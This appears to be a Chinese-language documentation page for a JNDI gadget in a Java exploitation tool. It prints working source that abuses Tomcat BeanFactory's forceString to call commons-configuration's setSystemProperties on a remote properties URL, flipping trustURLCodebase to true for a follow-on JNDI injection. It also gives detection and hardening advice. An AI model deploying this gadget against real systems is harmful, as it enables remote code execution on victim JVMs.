Skip to content

Latest commit

 

History

History
86 lines (72 loc) · 9.42 KB

File metadata and controls

86 lines (72 loc) · 9.42 KB

configuration 修改系统属性(SystemConfigurationRef)

  • 类别:jndi 别名:— 优先级:—
  • 作者:—
  • 依赖tomcatcommon-configuration(即 commons-configuration 1.x)

作用

构造一个 Tomcat org.apache.naming.ResourceRef(JNDI Reference 的子类),把工厂设为 org.apache.naming.factory.BeanFactory、目标 Bean 设为 commons-configuration 1.x 的 org.apache.commons.configuration.SystemConfiguration。借助 Tomcat BeanFactory 的 forceString 机制,让受害端在 JNDI lookup 解析该 Reference 时实例化 SystemConfiguration 并调用其单 String 参方法 setSystemProperties(String fileName),从而把 url 指向的远程/本地 properties 文件中的所有键值写入受害 JVM 的 System properties

它本身不直接 RCE,而是「篡改系统属性」的落地环节。最典型的用途是让受害端把 com.sun.jndi.ldap.object.trustURLCodebase=true 写进系统属性,重新打开 JDK 8u191+ 默认关闭的远程 codebase 加载开关,为后续「LDAP Reference 远程 codebase 加载工厂类」的经典 JNDI 注入铺路。

链接标签

  • 入口 tagsResourceRefTomcatBeanFactory —— 表示本 gadget 本身就是一个可被 JNDI/LDAP/RMI 入口返回、并由 Tomcat BeanFactory 处理的 ResourceRef 对象;上游若有 nextTags 指向这两个标签即可衔接到它(如 C3p0_C3p0ReferenceMchangeC3p0ReferenceDirContextJndiXBeanRefWrap 等产出 Reference/ResourceRef 的环节,或直接由恶意 LDAP/RMI 服务端返回)。
  • 入口 tagsEND —— 链尾(sink)。invoke 不调用 chain.doCreate,自身即可完成「篡改系统属性」的动作,无需更内层 gadget。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

@GadgetTags(tags={"ResourceRef", "TomcatBeanFactory", "END"})
@GadgetAnnotation(name="configuration 修改系统属性",
    description="factory: org.apache.naming.factory.BeanFactory\n通过BeanFactory调用单String方法:"
              + "org.apache.commons.configuration.SystemConfiguration#setSystemProperties(),实现修改系统属性\n"
              + "远程加载的文件内容为:com.sun.jndi.ldap.object.trustURLCodebase=true",
    dependencies={"tomcat", "common-configuration"})
public class SystemConfigurationRef implements Gadget {
    @Param(name="url链接", description="加载远程properties文件的http地址, eg: http://127.0.0.1/exp.properties,后缀不受限制")
    public String url;

    public Reference getObject() throws Exception {
        ResourceRef ref = new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true,
                "org.apache.naming.factory.BeanFactory", null);
        ref.add((RefAddr)new StringRefAddr("forceString", "x=setSystemProperties"));
        ref.add((RefAddr)new StringRefAddr("x", this.url));
        return ref;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        return this.getObject();
    }
}

逐段解释:

  • new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true, "org.apache.naming.factory.BeanFactory", null)ResourceRef 构造的第 1 个参数是 className(BeanFactory 将要实例化的类),第 6 个参数是 factory。这里指定用 Tomcat 的 BeanFactory 去实例化一个 commons-configuration 1.x 的 SystemConfiguration。第 5 个参数 singleton=true 表示解析出的对象可缓存。
  • StringRefAddr("forceString", "x=setSystemProperties"):Tomcat BeanFactory.getObjectInstance 会读取名为 forceString 的 RefAddr,把「属性名 → 方法名」的映射强制改写:x=setSystemProperties 意为「处理属性 x 时不走默认的 setX(...),而是调用单 String 参方法 setSystemProperties(String)」。这是绕过「BeanFactory 只调用 setter」限制、调用任意单 String 参方法的核心技巧(与 BeanshellRefa=evalPropertiesConfigurationRefa=load,b=save 同源)。
  • StringRefAddr("x", this.url):为属性 x 提供值,即远程/本地 properties 文件地址。结合上一条 forceString,最终等价于 new SystemConfiguration().setSystemProperties(url)
  • SystemConfiguration#setSystemProperties(String fileName):commons-configuration 1.x 的该方法会以 fileName(支持 http:// URL 或本地路径)构造一个 PropertiesConfiguration 并加载解析,随后把其中每一条 key=value 逐一 System.setProperty(key, value) 写入当前 JVM 的系统属性。因此攻击者远程 properties 文件里的每个键值都会被注入受害进程。
  • invoke 直接返回 getObject(),不消费下游(chain.doCreate 未调用),url 为用户直填 @Param

触发条件:受害进程存在可控 JNDI lookup(LDAP/RMI 引用返回本 ResourceRef),且 classpath 同时具备 Tomcat naming(org.apache.naming.*)与 commons-configuration 1.x(包名 org.apache.commons.configuration)。因走本地 BeanFactory 实例化,此步骤自身不要求 trustURLCodebase=true——恰恰相反,它的目的往往是把该属性设成 true

参数(@Param)

字段 名称 说明 默认 可选值
url url链接 远程 properties 文件的 http 地址,作为 setSystemProperties 的入参;文件内的每条键值都会被写入 System properties http://127.0.0.1/exp.properties(后缀不受限制,也可为本地路径)

适用版本与原理要点

  • 依赖 Tomcat 的 org.apache.naming.factory.BeanFactory / ResourceRef 与 commons-configuration 1.x 同时在目标 classpath;2.x(包名 org.apache.commons.configuration2)请改用变体 SystemConfigurationRef2
  • 利用 forceString 把「属性写入」转为「任意单 String 方法调用」,命中静态语义的 setSystemProperties(通过实例调用同样成立)。
  • 本地 factory 路线,本步骤不依赖远程 codebase 下载;其战略价值在于修改受害端系统属性,尤其把 com.sun.jndi.ldap.object.trustURLCodebase 改为 true,从而恢复 JDK 8u191+ / 6u211 / 7u201 之后被默认禁用的 JNDI 远程 codebase 加载,属于多步 JNDI 绕过中的「解锁」环节。
  • 远程 properties 文件可写入任意系统属性,除 trustURLCodebase 外亦可篡改代理、java.rmi.server.codebase、日志、加密等敏感配置,危害不限于 JNDI。
  • 属性修改一经生效即对整个 JVM 全局可见并持久(进程存活期间),影响面大。

所属预设链

自由构件,未直接出现在预设链中(usedInChains 为空)。可按 tags=ResourceRef/TomcatBeanFactory 由上游产出 Reference/ResourceRef 的 gadget 或恶意 JNDI 服务端衔接,作为 END 链尾使用;常与后续的「LDAP 远程 codebase 加载工厂类 RCE」分两阶段配合。

关联

防御与检测

  • 检测特征
    • JNDI/LDAP 流量或反序列化数据中出现 org.apache.naming.factory.BeanFactoryorg.apache.naming.ResourceRef,且 RefAddr 含 forceString 键——这是 Tomcat BeanFactory forceString 利用的强指纹。
    • forceString 值形如 x=setSystemProperties、目标类名为 org.apache.commons.configuration*.SystemConfigurationorg.apache.groovy.util.SystemUtil
    • 受害端对外发起加载 .properties(或任意后缀)文件的可疑 HTTP 出站请求。
    • 运行期 System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase") 被异常改为 true
  • 加固建议
    • 从源头消除可控 JNDI lookup;对 JNDI 名称做严格白名单,禁止解析不可信的 Reference
    • 保持 JDK 版本 ≥ 8u191 并不要依赖运行时属性——可在启动参数中显式固定 -Dcom.sun.jndi.ldap.object.trustURLCodebase=false,并监控该属性是否被篡改。
    • 若业务无需,移除/隔离 classpath 中的 Tomcat naming(org.apache.naming.*)与 commons-configuration,阻断 BeanFactory forceString 落地。
    • 用 SecurityManager / 反序列化黑白名单拦截 ResourceRefBeanFactory 相关类的实例化。